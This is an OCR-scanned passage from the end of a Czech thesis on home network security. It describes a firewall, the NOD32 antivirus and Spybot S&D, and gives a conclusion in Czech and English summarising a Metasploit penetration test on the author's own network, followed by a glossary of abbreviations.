194 4 15/Marf2010 16:47:25 ICMP PING undefined code 4 in 192,168.1.102 misc-ackivity lay
196 1 16/Marf2010 20:10:56 PartScan 4 in 192,168.1.102 niebwork-scan pcﬂ
< b3

Obr. 34. Nastaveni pravidla pro obousmérnou komunikaci s povolenym pocitacem.

Kromé prevence sitovych atoku NIPS firewall nabizi prevenci utoku na opera¢ni systém
HIPS, jez Ize dosahnout zranitelnou aplikaci (pfeteeni paméti, injekce kodu apod.). Dale
disponuje funkcemi pro praci s WWW strankami, napf. blokovani reklam (pop-up oken),

filtrace cookies, blokovani skriptl (Javascript, ActiveX, VBScript) aj.

Firewall by tedy nemé¢l chybét na zadném pocitaci, at’ uz z divodu blokace nepovoleného
spojeni ¢i ptenosu dat, nebo jen z informativniho hlediska, kde diky zdznamim mizeme

kontrolovat ptehled o probihajici komunikaci s nasim pocitacem.
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5.3 Antivir

Antivir je dalSi velmi dulezitou ¢asti naSeho systému, protoze kontroluje a blokuje
piitomnost $kodlivych kodu, které se snazi rizné znepiijemniovat praci s pocitatem, nebo
se snazi ziskavat soukroma data a informace, ¢i maji za cil destruktivni ¢innosti (mazani
dat apod.).

Antivirovy software, ktery jsme zvolili na zabezpeeném pocitaci, byl NOD32 Antivirus 4

od firmy ESET. Jednalo se o0 30denni zkuSebni verzi s moznosti pIné funkénosti softwaru.

Nainstalovany antivirus svou rezidentni kontrolou hlida béZici procesy ihned po spusténi
opera¢niho systému. Mezi jeho funkcemi nechybi pifehled o stavu ochrany pocitace,
sledovéani aktivity souborového systému, vedeni statistik antivirové ochrany (v textové

1 grafické form¢). NOD32 Antivirus 4 slouzi zaroveii i1 jako antispywarova ochrana.

© ESET NOD32 Antivirus

Stav ochran S I - +
2 g ESET NOD32 Antivirus vyzaduje Vasi pozornost
Sledovani aktivity -
Statistiky
Operacni systém neni aktualizovany
(\‘ Kontrola pocitace Ma tomto poéitadi neni nainstalovdna aktualni verze programu pro aktuallzam operaéniho
systému Pro aktualizaci operaéniho systému kliknéte na t od
Q Aktualizace i
+ Antivirovd ochrana
e ’* R + Antispywarovd ochrana
* Nastaveni
a Nastroje Pofet zachycenych hrozeb: 0
Verze virové databdze: 4995 (20100402)
‘9 Banoied dgnadiog Platnost testovaci verze: 12 dni
Koupit plnou verzi...
Aktualizovat na plnou verzi...
Zobrazeni: Rozéifeny rezim Zménit. .. chrinime vage digitalni svéty

Obr. 35. Informace o stavu ochrany programu NOD32 Antivirus 4.

Vede si podrobné protokoly, které popisuji zachycené infiltrace, systémové udalosti
a samoziejm¢& probéhnuté kontroly pocitace. Nalezené infiltrace zachyti a ulozi do
karantény. Aktualizace virové baze probihd automaticky. Antivirus nds rovnéz sam

upozorni, pokud opera¢ni systém, na kterém bézi, neni v aktualizovaném stavu (Obr. 35).
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Kontrolu poéita¢e mizeme volit pro vSechny lokalni disky (Smart kontrola) nebo pro nami
vybrané cile (Volitelnd kontrola). Kontrolni ulohy se daji naplanovat dopiedu funkci
Planovac, tyto ilohy se mohou provést pii urcité udalosti, jednorazoveé nebo se pravidelné
opakuji. Antivirus nabizi mozZnost nastaveni, zda chceme pouZivat ochranu souborového

systému, dokumentti, postovnich klient nebo ptistupu na web.

Antivirus je tedy stejné jako firewall nezbytnou ¢asti ochrany naseho pocitace, ktera by se

neméla podcenovat.

5.4 Antispywarovy (antiadwarovy) nastroj

Antispywarovy (antiadwarovy) nastroj bychom méli pouzivat, pokud uZ neni soucasti
antivirového softwaru, mohlo by dochédzet ke kolizim, protoZe by se tyto programy

,hadaly*, kdo diiv zamezi vniknuti Skodlivého kédu do naseho systému.

Na zabezpeceny pocita¢ jsme nainstalovali freewarovy program Spybot Search & Destroy,

ktery patii ve své kategorii antispywarovych nastroji k t€ém nejlepSim.

= SpyBot - Search & Destroy

Soubor  Fedim  Jazyk  Mapovéda

+ Imunizovat iﬁnntmlnvat Znovy Q‘Zpét @)ﬂépovéda

G Apply passive protection

Imunizace umoZfivje udélat preventivii Mechranéng: 0
opatfeni proti $pionim pougitim metod Chranéné 39794
uvnitt wageho prohlizece(d]. _ Celkar 133134

[IIIIIIIIIIIIIIIIII ]

Profil nechranéno Chranéno Celkem 12
Firefox =
G alexandrcenmy [default] [Cooki.. i] 193 193
G alexandrzenny [default] [Images] 1] 1336 13136
G alexandrceny [default] [Install... 1] 1336 13136
‘i alexandrzeny [default]) [Popups) i 1336 1336
Internet Explorer [32 bit) >

Obr. 36. Pritbéh funkce imunizace programu Spybot Search & Destroy.
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Poskytuje uZivateli opét rezidentni ochranu pocitace a také je mozné zkontrolovat systém

na podnét uzivatele.

Aktualizace spywarové baze bohuzel neprobiha automaticky a uzivatel ji musi pravidelné
provadét manualné. Spybot S&D obsahuje i funkci imunizace, kdy dochazi
k preventivnimu opatieni proti Spiéonim pouzitim ochrannych metod ve webovém

prohlize¢i. Nahled prub&hu imunizace si mtizeme prohlédnout na obrézku (Obr. 36).

Antispywarovy (antiadwarovy) nastroj je vhodnym dopliitkem k firewallu a antivirovému
programu. Antivirus mize a i nemusi odhalit vétSinu Spionskych programi, proto pokud
dbame na bezpecnost naseho soukromi, pak bychom méli pouzivat i tuto moznost ochrany

naseho systému.
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ZAVER

Bezpecénost informaénich systémi byla diive ¢asto podceniovana i kvili siti Internet, kterd
nebyla v pocatku rozlehla a slouzila hlavné k usnadnéni pfistupu a sdileni informaci, proto
také nebyl kladen takovy dlraz na jeji zabezpeceni. Postupem Casu vsak byl bezpecnosti
piikladan vEtsi vyznam.

V této praci jsem se v teoretické ¢asti snazil poskytnout étenafi, alespon zakladni znalosti
o souvisejicich elementech zabezpeceni informacnich systému a siti. Na zacatku této prace
jsem uvedl, kdo vSechno miize stat za pocitacovymi utoky a jaké divody k nim uto¢niky
vedou. Dale jsem popsal, jaky dusledek muze mit takovy pocitacovy utok. Vyjmenoval
jsem znamé pocitacové infiltrace, které jsem sepsal stylem - (tok a jeho moZné obrana.
Uvedl jsem metody priniku do pocitatového systému ¢i sit€ a zahrnul jsem i souvisejici
informace o hackerech a hackerskych nastrojich. Upozornil jsem také na nejcastéjsi
a nebezpecnou slabinu pocitacového systému — lidsky faktor, ktery je zneuZivan pomoci

metod sociélniho inZenyrstvi.

V praktické ¢asti jsem feSil problematiku bezpe€nosti domaci pocitatové sité. Presnéji
bylo mym cilem nalezeni slabin, které by mohly vést k proniknuti do hlavniho uzlu sité
a k jeho pIné kontrole. Pro tento el jsem pouZil metodu penetra¢niho testu, ktera se
skladala ze Gty Casti. Prvni Casti byl sbér informaci o cilové siti, nasledovala cast
skenovani, pfi kterém jsem hledal zivé systémy, sitové sluzby a jejich slabiny. Dalsi ¢asti
byla inventarizace systému, kterou jsem o ném ziskal detailni informace. Posledni ¢asti
bylo zneuziti nalezenych slabin pomoci nastroje Metasploit Framework, ktery obsahoval
databazi znamych exploit, kterymi jsem ziskal plnou kontrolu nad cilovym systémem.
Jako vysledek testu jsem vytvoril dokument obsahujici jak nalezené zranitelnosti, tak
1 jejich mozné zabezpeceni.

Touto praci jsem diky dvéma variantam pocitati umisténych v siti (zabezpeceny
a nezabezpeceny) zjistil, jaké mohu ziskat informace o cilovém systému pomoci pouZitych
testovacich nastroji napft. jen diky tomu, Ze pocita¢ neobsahuje obycejnou filtraci pakett
pomoci firewallu. Rovnéz touto praci nabizim ¢tenati postup, jak by mohl provést kontrolu

a ovéieni bezpecénosti svého vlastniho systému.

Déale jsem uvedl i moznou aktivni obranu vuéi poéitaCovym utokiim, napf. pouZiti systému

detekce naruseni ¢i systému prevence proti naruseni nebo zavedeni honeypotti do
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strategickych segmentd sité. RovnéZz jsem zhodnotil nezbytné zabezpeceni kazdého

pocitace ve formé firewallu, antivirového a antispywarového programu.

Tato prace tedy vedla k ovéieni otazky bezpecnosti informaéniho systému, tj. Ze bychom
méli dbat na pravidelné aktualizace pouzivaného systému a veSkerych aplikaci, protoze
Clovék nemusi byt hacker, aby snadno zneuzil objevenou zranitelnost. Také nestaci
zabezpecit pouze dilezité uzly sité, ale brat v Uvahu veskeré pocitace, které s témito uzly

komunikuji.
Vsem ¢tenaiim snad tato prace dala, alespon urcité povédomi o nebezpeci, které doprovazi
informaéni systémy. Pocitacové zabezpeceni ziejmé nikdy nebude 100%, protoZe pokud

pocita¢ neni vypnuty, vzdycky poéitejme s tim, Ze mize byt napaden.
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CONCLUSION

Security of information systems has been underestimated in the past, also Internet network,
which wasn’t initially large and served mainly to facilitate access and sharing of
information, and therefore also not placed so much emphasis on its security. Over time,

security of information systems was given greater importance.

In this work, | tried in the theoretical part; provide the reader with at least a basic
knowledge of security-related elements of information systems and networks. At the
beginning of this work | pointed out who may be computer attacks and what are the
reasons leading to them. I also described how the result can have such a computer attack.
I have listed the known infiltration of computer, which | wrote using the style - an attack
and its possible defenses. | said the method of penetration into the computer system or
network, and | also include related information on hackers and hacking tools. | also drew
attention to the most common and dangerous vulnerability in the computer system - the

human factor, which is exploited by the methods of social engineering.

In the practical part | have dealt with security issues of domestic computer network. More
specifically, | tried to find vulnerability that could lead to penetration into the main
network node and its full control. For this purpose, | used the method of penetration test,
which consisted of four parts. The first was a collection of information about the target
network, followed by part of the scanning of the network, in which 1 was looking for living
systems, network services and their vulnerability. Another part was an enumeration system
for its detailed information. The last part was abuse vulnerabilities by using the Metasploit
Framework, which contained a database of known exploits, by which I gained full control
over the target system. As a result of the test, | created a document containing both

discovered vulnerabilities, as well as their possible security.

Using two variants of network computers (secure and unsecured), | found this work, what
information about the target system can | get using the test tools, for example, just because
the computer does not use firewall packet filtering. Also offering readers how to be able to

check and verify the security of their own system.

| also pointed out the possible active defense against computer attacks, such as the use of
intrusion detection systems and intrusion prevention system or introduction honeypots into
strategic network segments. | have also evaluated the security necessary for each computer

in the form of firewall, antivirus and antispyware program.
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This work has led to the verification security of information system, i.e. that we should
ensure regular updating of system and all applications; because one need not be a hacker to
easily exploit discovered vulnerabilities. Also, not enough to ensure only relevant network

nodes, but take into account all the computers that communicate with these nodes.

Perhaps all readers of this work have at least some awareness of the dangers that
accompany information systems. Computer Security probably will never be 100% because

if the computer isn’t turned off, always we note, that may be infected.
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SEZNAM POUZITYCH SYMBOLU A ZKRATEK

AfriNIC

ARIN

APNIC

ARP

BBS

C, C++
CD
CERT/CC

CVE

DDoS

DEP

DHCP

DNS

DoS

DVD

African Network Information Center — regionalni registrator IP adres pro
Afriku.

American Registry for Internet Numbers — regionalni registrator IP adres

pro Ameriku a ¢ast Afriky.

Asia Pacific Network Information Centre — regionalni registrator IP adres

pro Asii a Tichomofi.

Address Resolution Protocol — protokol slouzici k ziskani ethernetové

MAC adresy sousedniho stroje z jeho IP adresy.

Bulletin Board System — systém elektronickych nastének.

Programovaci jazyky pro vyvoj pocitacového softwaru.

Compact Disc — opticky disk pro ukladani digitalnich dat.

CERT Coordination Center — organizace sledujici bezpe¢nost sité Internet.

Common Vulnerabilities and Exposures — databaze vefejné znamych

zranitelnosti informacnich systémii.

Distributed Denial of Service — distribuované odmitnuti sluzby, technika
utoku na spojovaci cesty systému ¢i aplikace za tcelem znepiistupnéni
ostatnim uzivateltim.

Data Execution Prevention — ochrana operacnich systému Windows pied

utoky typu buffer overflow.

Dynamic Host Configuration Protocol — aplika¢ni protokol z rodiny

TCP/IP uréeny pro automatické ptidélovani IP adres pocitactim v siti.

Domain Name System - hierarchicky systém zabezpeCujici vzajemné

pievody doménovych jmen a IP adres uzla sité.

Denial of Service — odmitnuti sluzby, technika utoku na spojovaci cesty
systému ¢i aplikace za ucelem znepfistupnéni ostatnim uzivatelim.
Digital Versatile Disc — digitalni opticky datovy nosi¢ pro uloZeni riznych

multimedialnich dat.
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ECHELON  Americky systém ur¢eny k zachycovani a zpracovani komunikace vedené

ptes komunikacni satelity.

EULA End User License Agreement — licence pro koncového uzivatele softwaru

urcujici, co uzivatel smi a nesmi délat.

FAPSI Federalnoje Agenstvo Pravitel'stvennoj Svajazi i Informacii — ruska

Federalni agentura pro vladni komunikaci a informace.

FTP File Transfer Protocol — protokol z rodiny TCP/IP uréeny pro pienos
souboril mezi pocitaci.
GUI Graphical User Interface — graficke uZivatelské rozhrani.

HIDS Host-based Intrusion Detection System — IDS analyzujici udalosti

odehravajici se na uzlovém systému.

HIPS Host-based Intrusion Prevention System - [IPS analyzujici udalosti

odehravajici se na uzlovém systému.

HTML HyperText Markup Language — znackovaci jazyk pro hypertext a vytvaieni

stranek v systemu WWW umoziujici publikaci dokumentt na Internetu.

HTTPS Nadstavba sitového protokolu HTTP, ktera umoziuje zabezpeCit spojeni

mezi webovym prohlize¢em a webovym serverem.

ICANN Internet Corporation for Assigned Names and Numbers — organizace

starajici se o chod sit¢ Internet.

ICMP Internet Control Message Protocol — internetovy protokol pro odesilani
chybovych zprav.

IDS Intrusion detection system — systém detekce naruSeni pocitacové site.

IP Internet Protocol — protokol pouzivany pro ptenos dat pies paketové sité.

IPS Intrusion Prevention System — systém prevence proti naruSeni pocitatové
sité.

ISMS Information Security Management System — systém fizeni bezpeénosti

informaci.
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LACNIC Latin American and Caribbean Internet Addresses Registry — regionalni

registrator IP adres pro Latinskou Ameriku a ¢ast Karibiku.

MAC Media Access Control — MAC adresa je jedine¢ny identifikator sitového
zatizenti.

NetBIOS Network Basic Input Output System — softwarové rozhrani poskytujici
sluzby ISO/OSI modelu pro zpfistupnéni dat ulozenych na vzdalenych
pocitacich.

NIDS Network-based Intrusion Detection Systems — IDS umisténé sériové v siti
a analyzujici sitové pakety.

NIPS Network-based Intrusion Prevention Systems — IPS umisténé sérioveé v siti

a analyzujici sitové pakety.

NSA National Security Agency/Central Security Service — americka vladni

kryptologicka organizace.

oSl Open Systems Interconnection — standardizace pocitacovych siti

a protokolil pro propojeni otevienych systémi.

PDCA Plan Do Check Act — planuj, proved’, kontroluj, jednej - zakladni kroky pro

dosazeni neustalého zdokonalovani.

PGP Pretty Good Privacy — pocitacovy program, ktery umoziuje Sifrovani

a podepisovani dat.

PHP PHP: Hypertext Preprocessor — skriptovaci programovaci jazyk pro

programovani dynamickych internetovych stranek.
PPTP Point-to-Point Tunneling Protocol - zptisob realizace Virtualni privatni sité.
RAM Random-access Memory — pamét s libovolnym pfistupem pouzivana
Vv pocitacich.
RIPE Réseaux IP Européens — regionalni registrator IP adres pro Evropu, ¢ast

Asie, horni polovinu Afriky a Stfedni vychod.

RPC Remote Procedure Call — technologie pro vzdalené volani procedur.
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RST Paket s piiznakem RST se vyskytuje pfi navazovani spojeni mezi pocitac¢i

v procesu TCP handshake.

SID Security identifier — jednoznaény bezpeénostni identifikator uzivatelskych

uctu operacniho systému Windows.

SMB Server Message Block — sitovy komunikacni protokol aplika¢ni vrstvy
slouzici ke sdilenému pfistupu k souborum, tiskarnam, sériovym portim a
dalSi komunikaci mezi uzly na siti.

SMTP Simple Mail Transfer Protocol — internetovy protokol uréeny pro pienos

zprav elektronické posty.

SNMP Simple Network Management Protocol — internetovy protokol slouZici pro
potieby spravy siti.
SQL Structured Query Language - standardizovany dotazovaci jazyk pouZivany

pro praci s daty v relacnich databazich.

SSL Secure Sockets Layer — protokol poskytujici zabezpeceni komunikace

Sifrovanim a autentizaci komunikujicich stran.

SYN SYN paket, ktery slouzi k navazani spojeni mezi pocitaci pii procesu TCP
handshake.
TCP Transmission Control Protocol - internetovy protokol garantujici spolehlivé

dorucovani dat a ve spravném potadi mezi propojenymi pocitaci v Siti.
UDP User Datagram Protocol — internetovy protokol, ktery nedava zaruky na
pienos datagrami mezi pocitac¢i v Siti.

URL Uniform Resource Locator — fetézec znaku definujici doménovou adresu
serveru, umisténi zdroje na serveru a protokol umoziujici mozné

zptistupnéni zdroje.

WHOIS Vyhledavaci sluzba pro zjiSténi informaci o internetovych doménach.

WWW World Wide Web — celosvétova soustava propojenych hypertextovych
dokumenti.

XSS Cross-site  scripting — metoda naruSeni WWW stranek vyuZzitim

bezpecnostnich chyb v jejich skriptech.
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